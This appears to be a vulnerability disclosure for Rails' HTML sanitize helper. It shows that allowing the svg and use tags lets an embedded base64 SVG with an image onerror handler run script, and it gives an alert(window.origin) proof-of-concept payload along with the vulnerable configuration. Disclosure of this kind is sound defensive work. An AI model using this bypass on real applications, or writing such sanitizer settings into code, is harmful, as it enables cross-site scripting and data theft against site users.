In the specific configuration, it was possible to bypass HTML sanitization by using the use
tag of the SVG
element.
In the index.html.erb
:
<%= sanitize "<svg><use href=\"#x\"/></svg>", tags: %w(svg use) %>
use
tag allows to embed another base64 encoded SVG
containing target XSS payload, base64 after decoding:
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>
<image href="1" onerror="alert(window.origin)" />
</svg>
SVG
and use
tags had to be allowed either in global configuration config.action_view.sanitized_allowed_tags = ['svg', 'use']
or inline with tags
argument of the helper.
XSS could lead to data theft through the attackerβs ability to manipulate data through their access to the application, and their ability to interact with other users, including performing other malicious attacks, which would appear to originate from a legitimate user. These malicious actions could also result in reputational damage for the business through the impact on customersβ trust.